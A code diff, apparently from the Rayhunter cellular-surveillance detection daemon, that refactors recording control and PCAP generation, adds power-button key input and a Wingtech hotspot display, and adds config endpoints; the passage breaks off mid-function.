||||
let (tx, rx) = mpsc::channel::<DiagDeviceCtrlMessage>(1);
|
||||
let (diag_tx, diag_rx) = mpsc::channel::<DiagDeviceCtrlMessage>(1);
|
||||
let (ui_update_tx, ui_update_rx) = mpsc::channel::<display::DisplayState>(1);
|
||||
let (analysis_tx, analysis_rx) = mpsc::channel::<AnalysisCtrlMessage>(5);
|
||||
let mut maybe_ui_shutdown_tx = None;
|
||||
let mut maybe_key_input_shutdown_tx = None;
|
||||
if !config.debug_mode {
|
||||
let (ui_shutdown_tx, ui_shutdown_rx) = oneshot::channel();
|
||||
maybe_ui_shutdown_tx = Some(ui_shutdown_tx);
|
||||
@@ -193,16 +226,29 @@ async fn main() -> Result<(), RayhunterError> {
|
||||
run_diag_read_thread(
|
||||
&task_tracker,
|
||||
dev,
|
||||
rx,
|
||||
diag_rx,
|
||||
ui_update_tx.clone(),
|
||||
qmdl_store_lock.clone(),
|
||||
analysis_tx.clone(),
|
||||
config.enable_dummy_analyzer,
|
||||
config.analyzers.clone(),
|
||||
);
|
||||
info!("Starting UI");
|
||||
display::update_ui(&task_tracker, &config, ui_shutdown_rx, ui_update_rx);
|
||||
|
||||
info!("Starting Key Input service");
|
||||
let (key_input_shutdown_tx, key_input_shutdown_rx) = oneshot::channel();
|
||||
maybe_key_input_shutdown_tx = Some(key_input_shutdown_tx);
|
||||
key_input::run_key_input_thread(
|
||||
&task_tracker,
|
||||
&config,
|
||||
diag_tx.clone(),
|
||||
key_input_shutdown_rx,
|
||||
);
|
||||
}
|
||||
|
||||
let (daemon_restart_tx, daemon_restart_rx) = oneshot::channel::<()>();
|
||||
let (server_shutdown_tx, server_shutdown_rx) = oneshot::channel::<()>();
|
||||
info!("create shutdown thread");
|
||||
let analysis_status_lock = Arc::new(RwLock::new(analysis_status));
|
||||
run_analysis_thread(
|
||||
&task_tracker,
|
||||
@@ -210,30 +256,38 @@ async fn main() -> Result<(), RayhunterError> {
|
||||
qmdl_store_lock.clone(),
|
||||
analysis_status_lock.clone(),
|
||||
config.enable_dummy_analyzer,
|
||||
config.analyzers.clone(),
|
||||
);
|
||||
run_ctrl_c_thread(
|
||||
let should_restart_flag = Arc::new(AtomicBool::new(false));
|
||||
|
||||
run_shutdown_thread(
|
||||
&task_tracker,
|
||||
tx.clone(),
|
||||
diag_tx.clone(),
|
||||
daemon_restart_rx,
|
||||
should_restart_flag.clone(),
|
||||
server_shutdown_tx,
|
||||
maybe_ui_shutdown_tx,
|
||||
maybe_key_input_shutdown_tx,
|
||||
qmdl_store_lock.clone(),
|
||||
analysis_tx.clone(),
|
||||
);
|
||||
let state = Arc::new(ServerState {
|
||||
config_path: args.config_path.clone(),
|
||||
config,
|
||||
qmdl_store_lock: qmdl_store_lock.clone(),
|
||||
diag_device_ctrl_sender: tx,
|
||||
diag_device_ctrl_sender: diag_tx,
|
||||
ui_update_sender: ui_update_tx,
|
||||
debug_mode: config.debug_mode,
|
||||
analysis_status_lock,
|
||||
analysis_sender: analysis_tx,
|
||||
daemon_restart_tx: Arc::new(RwLock::new(Some(daemon_restart_tx))),
|
||||
});
|
||||
run_server(&task_tracker, &config, state, server_shutdown_rx).await;
|
||||
run_server(&task_tracker, state, server_shutdown_rx).await;
|
||||
|
||||
task_tracker.close();
|
||||
task_tracker.wait().await;
|
||||
|
||||
info!("see you space cowboy...");
|
||||
Ok(())
|
||||
Ok(should_restart_flag.load(Ordering::Relaxed))
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
|
||||
@@ -7,7 +7,8 @@ use axum::http::header::CONTENT_TYPE;
|
||||
use axum::http::StatusCode;
|
||||
use axum::response::{IntoResponse, Response};
|
||||
use futures::{StreamExt, TryStreamExt};
|
||||
use log::{debug, error, info};
|
||||
use log::{debug, error, info, warn};
|
||||
use rayhunter::analysis::analyzer::AnalyzerConfig;
|
||||
use rayhunter::diag::DataType;
|
||||
use rayhunter::diag_device::DiagDevice;
|
||||
use rayhunter::qmdl::QmdlWriter;
|
||||
@@ -24,7 +25,7 @@ use crate::server::ServerState;
|
||||
|
||||
pub enum DiagDeviceCtrlMessage {
|
||||
StopRecording,
|
||||
StartRecording((QmdlWriter<File>, File)),
|
||||
StartRecording,
|
||||
Exit,
|
||||
}
|
||||
|
||||
@@ -34,32 +35,67 @@ pub fn run_diag_read_thread(
|
||||
mut qmdl_file_rx: Receiver<DiagDeviceCtrlMessage>,
|
||||
ui_update_sender: Sender<display::DisplayState>,
|
||||
qmdl_store_lock: Arc<RwLock<RecordingStore>>,
|
||||
analysis_sender: Sender<AnalysisCtrlMessage>,
|
||||
enable_dummy_analyzer: bool,
|
||||
analyzer_config: AnalyzerConfig,
|
||||
) {
|
||||
task_tracker.spawn(async move {
|
||||
let (initial_qmdl_file, initial_analysis_file) = qmdl_store_lock.write().await.new_entry().await.expect("failed creating QMDL file entry");
|
||||
let mut maybe_qmdl_writer: Option<QmdlWriter<File>> = Some(QmdlWriter::new(initial_qmdl_file));
|
||||
let mut diag_stream = pin!(dev.as_stream().into_stream());
|
||||
let mut maybe_analysis_writer = Some(AnalysisWriter::new(initial_analysis_file, enable_dummy_analyzer).await
|
||||
let mut maybe_analysis_writer = Some(AnalysisWriter::new(initial_analysis_file, enable_dummy_analyzer, &analyzer_config).await
|
||||
.expect("failed to create analysis writer"));
|
||||
loop {
|
||||
tokio::select! {
|
||||
msg = qmdl_file_rx.recv() => {
|
||||
match msg {
|
||||
Some(DiagDeviceCtrlMessage::StartRecording((new_writer, new_analysis_file))) => {
|
||||
maybe_qmdl_writer = Some(new_writer);
|
||||
Some(DiagDeviceCtrlMessage::StartRecording) => {
|
||||
let mut qmdl_store = qmdl_store_lock.write().await;
|
||||
let (qmdl_file, new_analysis_file) = match qmdl_store.new_entry().await {
|
||||
Ok(x) => x,
|
||||
Err(e) => {
|
||||
error!("couldn't create new qmdl entry: {}", e);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
maybe_qmdl_writer = Some(QmdlWriter::new(qmdl_file));
|
||||
|
||||
if let Some(analysis_writer) = maybe_analysis_writer {
|
||||
analysis_writer.close().await.expect("failed to close analysis writer");
|
||||
}
|
||||
maybe_analysis_writer = Some(AnalysisWriter::new(new_analysis_file, enable_dummy_analyzer).await
|
||||
|
||||
maybe_analysis_writer = Some(AnalysisWriter::new(new_analysis_file, enable_dummy_analyzer, &analyzer_config).await
|
||||
.expect("failed to write to analysis file"));
|
||||
|
||||
if let Err(e) = ui_update_sender.send(display::DisplayState::Recording).await {
|
||||
warn!("couldn't send ui update message: {}", e);
|
||||
}
|
||||
},
|
||||
Some(DiagDeviceCtrlMessage::StopRecording) => {
|
||||
let mut qmdl_store = qmdl_store_lock.write().await;
|
||||
if let Some((_, entry)) = qmdl_store.get_current_entry() {
|
||||
if let Err(e) = analysis_sender
|
||||
.send(AnalysisCtrlMessage::RecordingFinished(
|
||||
entry.name.to_string(),
|
||||
))
|
||||
.await {
|
||||
warn!("couldn't send analysis message: {}", e);
|
||||
}
|
||||
}
|
||||
if let Err(e) = qmdl_store.close_current_entry().await {
|
||||
error!("couldn't close current entry: {}", e);
|
||||
}
|
||||
|
||||
maybe_qmdl_writer = None;
|
||||
if let Some(analysis_writer) = maybe_analysis_writer {
|
||||
analysis_writer.close().await.expect("failed to close analysis writer");
|
||||
}
|
||||
maybe_analysis_writer = None;
|
||||
|
||||
if let Err(e) = ui_update_sender.send(display::DisplayState::Paused).await {
|
||||
warn!("couldn't send ui update message: {}", e);
|
||||
}
|
||||
},
|
||||
// None means all the Senders have been dropped, so it's
|
||||
// time to go
|
||||
@@ -122,40 +158,18 @@ pub fn run_diag_read_thread(
|
||||
pub async fn start_recording(
|
||||
State(state): State<Arc<ServerState>>,
|
||||
) -> Result<(StatusCode, String), (StatusCode, String)> {
|
||||
if state.debug_mode {
|
||||
if state.config.debug_mode {
|
||||
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
|
||||
}
|
||||
let mut qmdl_store = state.qmdl_store_lock.write().await;
|
||||
let (qmdl_file, analysis_file) = qmdl_store.new_entry().await.map_err(|e| {
|
||||
(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
format!("couldn't create new qmdl entry: {}", e),
|
||||
)
|
||||
})?;
|
||||
let qmdl_writer = QmdlWriter::new(qmdl_file);
|
||||
|
||||
state
|
||||
.diag_device_ctrl_sender
|
||||
.send(DiagDeviceCtrlMessage::StartRecording((
|
||||
qmdl_writer,
|
||||
analysis_file,
|
||||
)))
|
||||
.send(DiagDeviceCtrlMessage::StartRecording)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
format!("couldn't send stop recording message: {}", e),
|
||||
)
|
||||
})?;
|
||||
|
||||
let display_state = display::DisplayState::Recording;
|
||||
state
|
||||
.ui_update_sender
|
||||
.send(display_state)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
format!("couldn't send ui update message: {}", e),
|
||||
format!("couldn't send start recording message: {}", e),
|
||||
)
|
||||
})?;
|
||||
|
||||
@@ -165,33 +179,9 @@ pub async fn start_recording(
|
||||
pub async fn stop_recording(
|
||||
State(state): State<Arc<ServerState>>,
|
||||
) -> Result<(StatusCode, String), (StatusCode, String)> {
|
||||
if state.debug_mode {
|
||||
if state.config.debug_mode {
|
||||
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
|
||||
}
|
||||
let mut qmdl_store = state.qmdl_store_lock.write().await;
|
||||
match qmdl_store.get_current_entry() {
|
||||
Some((_, entry)) => {
|
||||
state
|
||||
.analysis_sender
|
||||
.send(AnalysisCtrlMessage::RecordingFinished(
|
||||
entry.name.to_string(),
|
||||
))
|
||||
.await
|
||||
.map_err(|e| {
|
||||
(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
format!("couldn't send AnalysisCtrlMessage: {}", e),
|
||||
)
|
||||
})?;
|
||||
}
|
||||
None => todo!(),
|
||||
}
|
||||
qmdl_store.close_current_entry().await.map_err(|e| {
|
||||
(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
format!("couldn't close current qmdl entry: {}", e),
|
||||
)
|
||||
})?;
|
||||
state
|
||||
.diag_device_ctrl_sender
|
||||
.send(DiagDeviceCtrlMessage::StopRecording)
|
||||
@@ -202,16 +192,6 @@ pub async fn stop_recording(
|
||||
format!("couldn't send stop recording message: {}", e),
|
||||
)
|
||||
})?;
|
||||
state
|
||||
.ui_update_sender
|
||||
.send(display::DisplayState::Paused)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
format!("couldn't send ui update message: {}", e),
|
||||
)
|
||||
})?;
|
||||
Ok((StatusCode::ACCEPTED, "ok".to_string()))
|
||||
}
|
||||
|
||||
@@ -219,7 +199,7 @@ pub async fn delete_recording(
|
||||
State(state): State<Arc<ServerState>>,
|
||||
Path(qmdl_name): Path<String>,
|
||||
) -> Result<(StatusCode, String), (StatusCode, String)> {
|
||||
if state.debug_mode {
|
||||
if state.config.debug_mode {
|
||||
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
|
||||
}
|
||||
let mut qmdl_store = state.qmdl_store_lock.write().await;
|
||||
@@ -264,7 +244,7 @@ pub async fn delete_recording(
|
||||
pub async fn delete_all_recordings(
|
||||
State(state): State<Arc<ServerState>>,
|
||||
) -> Result<(StatusCode, String), (StatusCode, String)> {
|
||||
if state.debug_mode {
|
||||
if state.config.debug_mode {
|
||||
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
|
||||
}
|
||||
state
|
||||
|
||||
@@ -15,14 +15,13 @@ mod orbic;
|
||||
#[cfg(feature = "orbic")]
|
||||
pub use orbic::update_ui;
|
||||
|
||||
#[cfg(feature = "wingtech")]
|
||||
mod wingtech;
|
||||
#[cfg(feature = "wingtech")]
|
||||
pub use wingtech::update_ui;
|
||||
|
||||
pub enum DisplayState {
|
||||
Recording,
|
||||
Paused,
|
||||
WarningDetected,
|
||||
}
|
||||
|
||||
#[cfg(all(feature = "orbic", feature = "tplink"))]
|
||||
compile_error!("cannot compile for many devices at once");
|
||||
|
||||
#[cfg(not(any(feature = "orbic", feature = "tplink")))]
|
||||
compile_error!("cannot compile for no device at all");
|
||||
|
||||
@@ -0,0 +1,54 @@
|
||||
/// Display support for the Wingtech CT2MHS01 hotspot.
|
||||
///
|
||||
/// Tested on (from `/etc/wt_version`):
|
||||
/// WT_INNER_VERSION=SW_Q89323AA1_V057_M10_CRICKET_USR_MP
|
||||
/// WT_PRODUCTION_VERSION=CT2MHS01_0.04.55
|
||||
/// WT_HARDWARE_VERSION=89323_1_20
|
||||
use crate::config;
|
||||
use crate::display::generic_framebuffer::{self, Dimensions, GenericFramebuffer};
|
||||
use crate::display::DisplayState;
|
||||
|
||||
use tokio::sync::mpsc::Receiver;
|
||||
use tokio::sync::oneshot;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
const FB_PATH: &str = "/dev/fb0";
|
||||
|
||||
#[derive(Copy, Clone, Default)]
|
||||
struct Framebuffer;
|
||||
|
||||
impl GenericFramebuffer for Framebuffer {
|
||||
fn dimensions(&self) -> Dimensions {
|
||||
Dimensions {
|
||||
height: 128,
|
||||
width: 160,
|
||||
}
|
||||
}
|
||||
|
||||
fn write_buffer(&mut self, buffer: &[(u8, u8, u8)]) {
|
||||
let mut raw_buffer = Vec::new();
|
||||
for (r, g, b) in buffer {
|
||||
let mut rgb565: u16 = (*r as u16 & 0b11111000) << 8;
|
||||
rgb565 |= (*g as u16 & 0b11111100) << 3;
|
||||
rgb565 |= (*b as u16) >> 3;
|
||||
raw_buffer.extend(rgb565.to_le_bytes());
|
||||
}
|
||||
|
||||
std::fs::write(FB_PATH, &raw_buffer).unwrap();
|
||||
}
|
||||
}
|
||||
|
||||
pub fn update_ui(
|
||||
task_tracker: &TaskTracker,
|
||||
config: &config::Config,
|
||||
ui_shutdown_rx: oneshot::Receiver<()>,
|
||||
ui_update_rx: Receiver<DisplayState>,
|
||||
) {
|
||||
generic_framebuffer::update_ui(
|
||||
task_tracker,
|
||||
config,
|
||||
Framebuffer,
|
||||
ui_shutdown_rx,
|
||||
ui_update_rx,
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,131 @@
|
||||
use log::{error, info};
|
||||
use std::time::{Duration, Instant};
|
||||
use tokio::fs::File;
|
||||
use tokio::io::AsyncReadExt;
|
||||
use tokio::sync::mpsc::Sender;
|
||||
use tokio::sync::oneshot;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
use crate::config;
|
||||
use crate::diag::DiagDeviceCtrlMessage;
|
||||
|
||||
#[derive(Debug)]
|
||||
enum Event {
|
||||
KeyDown,
|
||||
KeyUp,
|
||||
}
|
||||
|
||||
const INPUT_EVENT_SIZE: usize = 32;
|
||||
|
||||
pub fn run_key_input_thread(
|
||||
task_tracker: &TaskTracker,
|
||||
config: &config::Config,
|
||||
diag_tx: Sender<DiagDeviceCtrlMessage>,
|
||||
mut ui_shutdown_rx: oneshot::Receiver<()>,
|
||||
) {
|
||||
if config.key_input_mode == 0 {
|
||||
return;
|
||||
}
|
||||
|
||||
task_tracker.spawn(async move {
|
||||
// Open the input device
|
||||
let mut file = match File::open("/dev/input/event0").await {
|
||||
Ok(file) => file,
|
||||
Err(e) => {
|
||||
error!("Failed to open /dev/input/event0: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
let mut buffer = [0u8; INPUT_EVENT_SIZE];
|
||||
let mut last_keyup: Option<Instant> = None;
|
||||
let mut last_event_time: Option<Instant> = None;
|
||||
|
||||
loop {
|
||||
tokio::select! {
|
||||
_ = &mut ui_shutdown_rx => {
|
||||
info!("received key input shutdown");
|
||||
return;
|
||||
}
|
||||
result = file.read_exact(&mut buffer) => {
|
||||
if let Err(e) = result {
|
||||
error!("failed to read key input: {}", e);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let event = parse_event(buffer);
|
||||
|
||||
let now = Instant::now();
|
||||
|
||||
// On orbic it was observed that pressing the power button can trigger many successive
|
||||
// events. Drop events that are too close together.
|
||||
if let Some(last_time) = last_event_time {
|
||||
if now.duration_since(last_time) < Duration::from_millis(50) {
|
||||
last_event_time = Some(now);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
last_event_time = Some(now);
|
||||
|
||||
match event {
|
||||
Event::KeyUp => {
|
||||
if let Some(last_keyup_instant) = last_keyup {
|
||||
let elapsed = now.duration_since(last_keyup_instant);
|
||||
|
||||
if elapsed >= Duration::from_millis(100)
|
||||
&& elapsed <= Duration::from_millis(800)
|
||||
{
|
||||
if let Err(e) = diag_tx.send(DiagDeviceCtrlMessage::StopRecording).await
|
||||
{
|
||||
error!("Failed to send StopRecording: {}", e);
|
||||
}
|
||||
if let Err(e) =
|
||||
diag_tx.send(DiagDeviceCtrlMessage::StartRecording).await
|
||||
{
|
||||
error!("Failed to send StartRecording: {}", e);
|
||||
}
|
||||
last_keyup = None;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
last_keyup = Some(now);
|
||||
}
|
||||
Event::KeyDown => {}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
fn parse_event(input: [u8; INPUT_EVENT_SIZE]) -> Event {
|
||||
if input[12] == 0 {
|
||||
Event::KeyUp
|
||||
} else {
|
||||
Event::KeyDown
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_parse_event_keydown_m7350_v5() {
|
||||
let input = [
|
||||
0x57, 0x6c, 0x09, 0x00, 0x7c, 0xfb, 0x03, 0x00, 0x01, 0x00, 0x74, 0x00, 0x01, 0x00,
|
||||
0x00, 0x00, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
];
|
||||
assert!(matches!(parse_event(input), Event::KeyDown));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_parse_event_keyup_m7350_v5() {
|
||||
let input = [
|
||||
0x57, 0x6c, 0x09, 0x00, 0x1b, 0x15, 0x05, 0x00, 0x01, 0x00, 0x74, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
];
|
||||
assert!(matches!(parse_event(input), Event::KeyUp));
|
||||
}
|
||||
}
|
||||
@@ -1,19 +1,18 @@
|
||||
use crate::ServerState;
|
||||
|
||||
use anyhow::Error;
|
||||
use axum::body::Body;
|
||||
use axum::extract::{Path, State};
|
||||
use axum::http::header::CONTENT_TYPE;
|
||||
use axum::http::StatusCode;
|
||||
use axum::response::{IntoResponse, Response};
|
||||
use futures::TryStreamExt;
|
||||
use log::error;
|
||||
use rayhunter::diag::DataType;
|
||||
use rayhunter::gsmtap_parser;
|
||||
use rayhunter::pcap::GsmtapPcapWriter;
|
||||
use rayhunter::qmdl::QmdlReader;
|
||||
use std::sync::Arc;
|
||||
use std::{future, pin::pin};
|
||||
use tokio::io::duplex;
|
||||
use tokio::io::{duplex, AsyncRead, AsyncWrite};
|
||||
use tokio_util::io::ReaderStream;
|
||||
|
||||
// Streams a pcap file chunk-by-chunk to the client by reading the QMDL data
|
||||
@@ -21,12 +20,15 @@ use tokio_util::io::ReaderStream;
|
||||
// pcap data to a channel that's piped to the client.
|
||||
pub async fn get_pcap(
|
||||
State(state): State<Arc<ServerState>>,
|
||||
Path(qmdl_name): Path<String>,
|
||||
Path(mut qmdl_name): Path<String>,
|
||||
) -> Result<Response, (StatusCode, String)> {
|
||||
let qmdl_store = state.qmdl_store_lock.read().await;
|
||||
if qmdl_name.ends_with("pcapng") {
|
||||
qmdl_name = qmdl_name.trim_end_matches(".pcapng").to_string();
|
||||
}
|
||||
let (entry_index, entry) = qmdl_store.entry_for_name(&qmdl_name).ok_or((
|
||||
StatusCode::NOT_FOUND,
|
||||
format!("couldn't find qmdl file with name {}", qmdl_name),
|
||||
format!("couldn't find manifest entry with name {}", qmdl_name),
|
||||
))?;
|
||||
if entry.qmdl_size_bytes == 0 {
|
||||
return Err((
|
||||
@@ -42,35 +44,10 @@ pub async fn get_pcap(
|
||||
// the QMDL reader should stop at the last successfully written data chunk
|
||||
// (entry.size_bytes)
|
||||
let (reader, writer) = duplex(1024);
|
||||
let mut pcap_writer = GsmtapPcapWriter::new(writer).await.unwrap();
|
||||
pcap_writer.write_iface_header().await.unwrap();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let mut reader = QmdlReader::new(qmdl_file, Some(qmdl_size_bytes));
|
||||
let mut messages_stream = pin!(reader
|
||||
.as_stream()
|
||||
.try_filter(|container| future::ready(container.data_type == DataType::UserSpace)));
|
||||
|
||||
while let Some(container) = messages_stream
|
||||
.try_next()
|
||||
.await
|
||||
.expect("failed getting QMDL container")
|
||||
{
|
||||
for maybe_msg in container.into_messages() {
|
||||
match maybe_msg {
|
||||
Ok(msg) => {
|
||||
let maybe_gsmtap_msg =
|
||||
gsmtap_parser::parse(msg).expect("error parsing gsmtap message");
|
||||
if let Some((timestamp, gsmtap_msg)) = maybe_gsmtap_msg {
|
||||
pcap_writer
|
||||
.write_gsmtap_message(gsmtap_msg, timestamp)
|
||||
.await
|
||||
.expect("error writing pcap packet");
|
||||
}
|
||||
}
|
||||
Err(e) => error!("error parsing message: {:?}", e),
|
||||
}
|
||||
}
|
||||
if let Err(e) = generate_pcap_data(writer, qmdl_file, qmdl_size_bytes).await {
|
||||
error!("failed to generate PCAP: {:?}", e);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -78,3 +55,39 @@ pub async fn get_pcap(
|
||||
let body = Body::from_stream(ReaderStream::new(reader));
|
||||
Ok((headers, body).into_response())
|
||||
}
|
||||
|
||||
pub async fn generate_pcap_data<R, W>(
|
||||
writer: W,
|
||||
qmdl_file: R,
|
||||
qmdl_size_bytes: usize,
|
||||
) -> Result<(), Error>
|
||||
where
|
||||
W: AsyncWrite + Unpin + Send,
|
||||
R: AsyncRead + Unpin,
|
||||
{
|
||||
let mut pcap_writer = GsmtapPcapWriter::new(writer).await?;
|
||||
pcap_writer.write_iface_header().await?;
|
||||
|
||||
let mut reader = QmdlReader::new(qmdl_file, Some(qmdl_size_bytes));
|
||||
while let Some(container) = reader.get_next_messages_container().await? {
|
||||
if container.data_type != DataType::UserSpace {
|
||||
continue;
|
||||
}
|
||||
|
||||
for maybe_msg in container.into_messages() {
|
||||
match maybe_msg {
|
||||
Ok(msg) => {
|
||||
let maybe_gsmtap_msg = gsmtap_parser::parse(msg)?;
|
||||
if let Some((timestamp, gsmtap_msg)) = maybe_gsmtap_msg {
|
||||
pcap_writer
|
||||
.write_gsmtap_message(gsmtap_msg, timestamp)
|
||||
.await?;
|
||||
}
|
||||
}
|
||||
Err(e) => error!("error parsing message: {:?}", e),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
use std::io::{self, ErrorKind};
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
use chrono::{DateTime, Local};
|
||||
use rayhunter::util::RuntimeMetadata;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::path::{Path, PathBuf};
|
||||
use thiserror::Error;
|
||||
use tokio::{
|
||||
fs::{self, try_exists, File, OpenOptions},
|
||||
@@ -289,10 +291,10 @@ impl RecordingStore {
|
||||
self.write_manifest().await?;
|
||||
let qmdl_filepath = entry_to_delete.get_qmdl_filepath(&self.path);
|
||||
let analysis_filepath = entry_to_delete.get_analysis_filepath(&self.path);
|
||||
tokio::fs::remove_file(qmdl_filepath)
|
||||
remove_file_if_exists(&qmdl_filepath)
|
||||
.await
|
||||
.map_err(RecordingStoreError::DeleteFileError)?;
|
||||
tokio::fs::remove_file(analysis_filepath)
|
||||
remove_file_if_exists(&analysis_filepath)
|
||||
.await
|
||||
.map_err(RecordingStoreError::DeleteFileError)?;
|
||||
Ok(entry_to_delete)
|
||||
@@ -303,22 +305,41 @@ impl RecordingStore {
|
||||
self.close_current_entry().await?;
|
||||
}
|
||||
|
||||
let mut keep = Vec::new();
|
||||
|
||||
for entry in &self.manifest.entries {
|
||||
let qmdl_filepath = entry.get_qmdl_filepath(&self.path);
|
||||
let analysis_filepath = entry.get_analysis_filepath(&self.path);
|
||||
tokio::fs::remove_file(qmdl_filepath)
|
||||
.await
|
||||
.map_err(RecordingStoreError::DeleteFileError)?;
|
||||
tokio::fs::remove_file(analysis_filepath)
|
||||
.await
|
||||
.map_err(RecordingStoreError::DeleteFileError)?;
|
||||
|
||||
if let Err(e) = remove_file_if_exists(&qmdl_filepath).await {
|
||||
log::warn!("failed to remove {qmdl_filepath:?}: {e:?}");
|
||||
keep.push(true);
|
||||
continue;
|
||||
}
|
||||
|
||||
if let Err(e) = remove_file_if_exists(&analysis_filepath).await {
|
||||
log::warn!("failed to remove {analysis_filepath:?}: {e:?}");
|
||||
keep.push(true);
|
||||
continue;
|
||||
}
|
||||
|
||||
keep.push(false);
|
||||
}
|
||||
self.manifest.entries.drain(..);
|
||||
|
||||
let mut keep_iter = keep.into_iter();
|
||||
self.manifest.entries.retain(|_| keep_iter.next().unwrap());
|
||||
self.write_manifest().await?;
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
async fn remove_file_if_exists(path: &Path) -> Result<(), io::Error> {
|
||||
match tokio::fs::remove_file(path).await {
|
||||
Err(e) if e.kind() == ErrorKind::NotFound => Ok(()),
|
||||
res => res,
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
@@ -1,27 +1,39 @@
|
||||
use anyhow::Error;
|
||||
use async_zip::tokio::write::ZipFileWriter;
|
||||
use async_zip::Compression;
|
||||
use async_zip::ZipEntryBuilder;
|
||||
use axum::body::Body;
|
||||
use axum::extract::Path;
|
||||
use axum::extract::State;
|
||||
use axum::http::header::{self, CONTENT_LENGTH, CONTENT_TYPE};
|
||||
use axum::http::{HeaderValue, StatusCode};
|
||||
use axum::response::{IntoResponse, Response};
|
||||
use axum::Json;
|
||||
use include_dir::{include_dir, Dir};
|
||||
use log::error;
|
||||
use std::sync::Arc;
|
||||
use tokio::io::AsyncReadExt;
|
||||
use tokio::fs::write;
|
||||
use tokio::io::{copy, duplex, AsyncReadExt};
|
||||
use tokio::sync::mpsc::Sender;
|
||||
use tokio::sync::RwLock;
|
||||
use tokio::sync::{oneshot, RwLock};
|
||||
use tokio_util::compat::FuturesAsyncWriteCompatExt;
|
||||
use tokio_util::io::ReaderStream;
|
||||
|
||||
use crate::analysis::{AnalysisCtrlMessage, AnalysisStatus};
|
||||
use crate::config::Config;
|
||||
use crate::pcap::generate_pcap_data;
|
||||
use crate::qmdl_store::RecordingStore;
|
||||
use crate::{display, DiagDeviceCtrlMessage};
|
||||
|
||||
pub struct ServerState {
|
||||
pub config_path: String,
|
||||
pub config: Config,
|
||||
pub qmdl_store_lock: Arc<RwLock<RecordingStore>>,
|
||||
pub diag_device_ctrl_sender: Sender<DiagDeviceCtrlMessage>,
|
||||
pub ui_update_sender: Sender<display::DisplayState>,
|
||||
pub analysis_status_lock: Arc<RwLock<AnalysisStatus>>,
|
||||
pub analysis_sender: Sender<AnalysisCtrlMessage>,
|
||||
pub debug_mode: bool,
|
||||
pub daemon_restart_tx: Arc<RwLock<Option<oneshot::Sender<()>>>>,
|
||||
}
|
||||
|
||||
pub async fn get_qmdl(
|
||||
@@ -34,12 +46,15 @@ pub async fn get_qmdl(
|
||||
StatusCode::NOT_FOUND,
|
||||
format!("couldn't find qmdl file with name {}", qmdl_idx),
|
||||
))?;
|
||||
let qmdl_file = qmdl_store.open_entry_qmdl(entry_index).await.map_err(|e| {
|
||||
(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
format!("error opening QMDL file: {}", e),
|
||||
)
|
||||
})?;
|
||||
let qmdl_file = qmdl_store
|
||||
.open_entry_qmdl(entry_index)
|
||||
.await
|
||||
.map_err(|err| {
|
||||
(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
format!("error opening QMDL file: {}", err),
|
||||
)
|
||||
})?;
|
||||
let limited_qmdl_file = qmdl_file.take(entry.qmdl_size_bytes as u64);
|
||||
let qmdl_stream = ReaderStream::new(limited_qmdl_file);
|
||||
|
||||
@@ -76,3 +91,243 @@ pub async fn serve_static(
|
||||
.unwrap(),
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn get_config(
|
||||
State(state): State<Arc<ServerState>>,
|
||||
) -> Result<Json<Config>, (StatusCode, String)> {
|
||||
Ok(Json(state.config.clone()))
|
||||
}
|
||||
|
||||
pub async fn set_config(
|
||||
State(state): State<Arc<ServerState>>,
|
||||
Json(config): Json<Config>,
|
||||
) -> Result<(StatusCode, String), (StatusCode, String)> {
|
||||
let config_str = toml::to_string_pretty(&config).map_err(|err| {
|
||||
(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
format!("failed to serialize config as TOML: {}", err),
|
||||
)
|
||||
})?;
|
||||
|
||||
write(&state.config_path, config_str).await.map_err(|err| {
|
||||
(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
format!("failed to write config file: {}", err),
|
||||
)
|
||||
})?;
|
||||
|
||||
// Trigger daemon restart after writing config
|
||||
let mut restart_tx = state.daemon_restart_tx.write().await;
|
||||
if let Some(sender) = restart_tx.take() {
|
||||
sender.send(()).map_err(|_| {
|
||||
(
|
